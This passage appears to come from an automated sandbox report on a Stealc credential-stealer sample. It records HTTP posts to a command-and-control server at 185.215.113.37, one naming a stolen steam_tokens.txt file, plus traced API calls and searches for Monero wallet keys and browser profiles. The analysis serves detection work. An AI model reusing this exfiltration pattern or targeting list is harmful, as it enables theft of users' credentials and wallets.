name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file"------JKEGDHCFCAAECAKECBAF--
Oct 8, 2024 05:27:23.840934038 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 05:27:23.866103888 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"ybncbhylepme------KKJKFBKKECFHJKEBKEHI--
Oct 8, 2024 05:27:24.094846010 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:23 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 8, 2024 05:27:24.097449064 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEGDBGDBFIJKECBAKFB--
Oct 8, 2024 05:27:24.805804014 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 03:27:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	23:27:04
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x180000
File size:	1'868'800 bytes
MD5 hash:	8509B1D0B12CF044D13DD9FBB3EE579B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2075701252.0000000005080000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00199860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01340690), ref: 001998A1
GetProcAddress.KERNEL32(75900000,01340840), ref: 001998BA
GetProcAddress.KERNEL32(75900000,013405E8), ref: 001998D2
GetProcAddress.KERNEL32(75900000,013405D0), ref: 001998EA
GetProcAddress.KERNEL32(75900000,01340720), ref: 00199903
GetProcAddress.KERNEL32(75900000,01348AA0), ref: 0019991B
GetProcAddress.KERNEL32(75900000,013365E0), ref: 00199933
GetProcAddress.KERNEL32(75900000,01336380), ref: 0019994C
GetProcAddress.KERNEL32(75900000,013406A8), ref: 00199964
GetProcAddress.KERNEL32(75900000,01340600), ref: 0019997C
GetProcAddress.KERNEL32(75900000,01340708), ref: 00199995
GetProcAddress.KERNEL32(75900000,01340768), ref: 001999AD
GetProcAddress.KERNEL32(75900000,01336320), ref: 001999C5
GetProcAddress.KERNEL32(75900000,013406C0), ref: 001999DE
GetProcAddress.KERNEL32(75900000,01340618), ref: 001999F6
GetProcAddress.KERNEL32(75900000,01336280), ref: 00199A0E
GetProcAddress.KERNEL32(75900000,01340648), ref: 00199A27
GetProcAddress.KERNEL32(75900000,01340558), ref: 00199A3F
GetProcAddress.KERNEL32(75900000,013365A0), ref: 00199A57
GetProcAddress.KERNEL32(75900000,01340678), ref: 00199A70
GetProcAddress.KERNEL32(75900000,01336560), ref: 00199A88
LoadLibraryA.KERNEL32(01340738,?,00196A00), ref: 00199A9A
LoadLibraryA.KERNEL32(013407B0,?,00196A00), ref: 00199AAB
LoadLibraryA.KERNEL32(013407F8,?,00196A00), ref: 00199ABD
LoadLibraryA.KERNEL32(01340780,?,00196A00), ref: 00199ACF
LoadLibraryA.KERNEL32(013407C8,?,00196A00), ref: 00199AE0
GetProcAddress.KERNEL32(75070000,01340798), ref: 00199B02
GetProcAddress.KERNEL32(75FD0000,013407E0), ref: 00199B23
GetProcAddress.KERNEL32(75FD0000,01348F28), ref: 00199B3B
GetProcAddress.KERNEL32(75A50000,01348F10), ref: 00199B5D
GetProcAddress.KERNEL32(74E50000,01336480), ref: 00199B7E
GetProcAddress.KERNEL32(76E80000,01348A30), ref: 00199B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00199BB6

Strings

NtQueryInformationProcess, xrefs: 00199BAA

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 6c4a9129de698e4eccb4af70eaff3ed6f80b49900cf48c51911404ce0e88414d
Instruction ID: 1b03e2473f8621a4a04b983104a25189b23efef3165c5f7b25ee50eb8a8b8c09
Opcode Fuzzy Hash: 6c4a9129de698e4eccb4af70eaff3ed6f80b49900cf48c51911404ce0e88414d
Instruction Fuzzy Hash: 8BA17CB5500A489FD346EFA8FD88E663BFDF74C309F04851AA615C3224DB39B852DB16

Function 001845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0018460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0018479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0018471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001846D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001845E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0018475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0018466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0018474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001845DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001845D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001846AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001846C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001846CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0018477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0018462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0018473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001845C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001845F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00184770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001846B7

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 541da6e8c25ec253f7e1b99289e8972f9f769825b506b55c22a75cd509baf115
Instruction ID: 52a2c4cbe6b6d4f980e3bcad652237af3f7f488722fc3c55985f4d77d82c125c
Opcode Fuzzy Hash: 541da6e8c25ec253f7e1b99289e8972f9f769825b506b55c22a75cd509baf115
Instruction Fuzzy Hash: B641E16C7CA6887ECF28FBB48C4EE9D76675F8BB84F505044AE1657283CBB065804736

Function 0018BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

FindFirstFileA.KERNEL32(00000000,?,001A0B32,001A0B2B,00000000,?,?,?,001A13F4,001A0B2A), ref: 0018BEF5
StrCmpCA.SHLWAPI(?,001A13F8), ref: 0018BF4D
StrCmpCA.SHLWAPI(?,001A13FC), ref: 0018BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0018C7BF
FindClose.KERNEL32(000000FF), ref: 0018C7D1

Strings

Preferences, xrefs: 0018C11E
Google Chrome, xrefs: 0018C634
\Brave\Preferences, xrefs: 0018C1DB
Brave, xrefs: 0018C102

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
